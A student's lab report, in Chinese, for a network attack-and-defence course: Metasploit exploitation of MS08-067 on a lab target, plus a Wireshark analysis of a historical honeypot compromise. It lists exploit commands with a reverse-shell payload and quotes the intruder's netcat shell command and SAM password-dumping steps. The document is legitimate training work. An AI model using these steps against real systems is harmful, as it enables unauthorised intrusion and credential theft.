20222807 2022-2023-2 《网络攻防实践》第六周作业

实践六 Windows操作系统安全攻防

1.实践内容

（1）动手实践Metasploit windows attacker

任务：使用metasploit软件进行windows远程渗透统计实验

具体任务内容：使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击，获取目标主机的访问权

（2）取证分析实践：解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net)，要求提取并分析攻击的全部过程。

• 攻击者使用了什么破解工具进行攻击？
• 攻击者如何使用这个破解工具进入并控制了系统？
• 攻击者获得系统访问权限后做了什么？
• 我们如何防止这样的攻击？
• 你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么？

（3）团队对抗实践：windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击，获得控制权。（要求写出攻击方的同学信息、使用漏洞、相关IP地址等）

防守方使用wireshark监听获得的网络数据包，分析攻击过程，获取相关信息。

2.实践过程

（1）动手实践Metasploit windows attacker

首先打开kali虚拟机，输入msfconsole打开metasploit

输入search ms08_067查看漏洞模块信息，发现路径是exploit/windows/smb/ms08_067_netapi。

输入use windows/smb/ms08_067_netapi进入漏洞所在文件

输入show options查看攻击此漏洞需要的设置

输入show payloads查看此漏洞的荷载

选择第三个荷载进行攻击，输入命令 使用set payload generic/shell_reverse_tcp查看载荷信息，输入命令 使用set RHOST 192.168.200.124设置要攻击主机，输入命令 使用set LHOST 192.168.200.8设置要本机

输入命令exploit进行攻击，出现会话连接则攻击成功

此时输入回车即可进入靶机的shell，输入ipconfig查看到靶机的ip，攻击成功

（2）取证分析实践：解码一次成功的NT系统破解攻击。

首先下载snort-0204@0117.log文件，并在kali虚拟机中使用wireshark打开

在筛选条件中输入ip.addr==172.16.1.106 and http过滤数据

跟踪一个数据包的tcp流，发现特殊字符%C0%AF，为unicode编码，判断存在unicode漏洞攻击

继续跟踪数据流找到msadcs.dll，发现有shell语句和!ADM等关键字符，可知这是RDS漏洞，攻击者利用RDS漏洞进行了SQL注入攻击

• 攻击者使用了什么破解工具进行攻击？

根据ADM！ROX!YOUR!WORLD特征字符串，表明是msadc(2).pl工具发起的渗透攻击。

• 攻击者如何使用这个破解工具进入并控制了系统？

在Wireshark中输入ftp进行筛选，发现1106行的ftp连接成功，追踪此前的数据流，发现以下一些指令

ftp连接结束后，执行指令c nc -l -p 6969 -e cmd1.exe，表示攻击者连接6969端口，获得了系统的访问权。

• 攻击者获得系统访问权限后做了什么 ？
  在Wireshark中输入tcp.port == 6969，并追踪tcp流。发现攻击者要从注册表中提取密文，但没有成功。运行net session，访问受限，执行net users，返回主机用户列表

然后攻击者通过net group,net localgroup分别查看组用户、本地组用户，并查看net group domain admins，但都没有成功。

随后删除了samdump.dll和pdump.exe文件。

最后执行rdisk尝试获得SAM口令文件的拷贝，将SAM文件保存为c:\har.txt文件。

• 我们如何防止这样的攻击？
  添加相关的漏洞补丁；禁用用不到的RDS等服务；防火墙封禁网络内部服务器发起的连接

• 你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么？

tcp流中发现echo best honeypot i’ve seen till now 😃 > rfp.txt这条语句，整明攻击者已经警觉了他的目标是一台蜜罐主机

（3）团队对抗实践：windows系统远程渗透攻击和分析。

首先将kali设置为桥接模式，ip地址为192.168.11.226，攻击靶机ip为192.168.11.253，按照上述metasploit漏洞攻击的步骤，攻击成功，如下所示

获得了靶机的控制权，尝试在靶机中创建一个文件夹，成功，如下所示

抓包情况如下所示：

3.学习中遇到的问题及解决

• 问题1：在团队对抗实验中无法与他人的虚拟机相互ping通
• 问题1解决方案：将攻击机和靶机同时设置为桥接模式，并设置为自动分配ip

4.实践总结

本次实验实践了通过漏洞对其他主机进行攻击，并夺取控制权的过程，令人印象深刻

参考资料

• [《网络攻防技术与实践》诸葛建伟著]